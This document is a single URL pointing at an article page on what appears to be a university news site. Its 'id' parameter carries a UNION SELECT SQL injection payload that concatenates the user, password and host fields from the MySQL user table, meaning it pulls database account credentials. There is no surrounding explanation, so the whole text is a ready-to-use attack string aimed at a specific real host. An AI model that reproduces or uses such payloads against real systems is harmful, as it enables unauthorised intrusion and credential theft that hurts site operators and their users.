http://www.news.mc.duke.edu/news/article.php?id=69+union+select+1,2,3,4,5,concat(user,0x3a,password,0x3a,host),7,8+from+mysql.user/*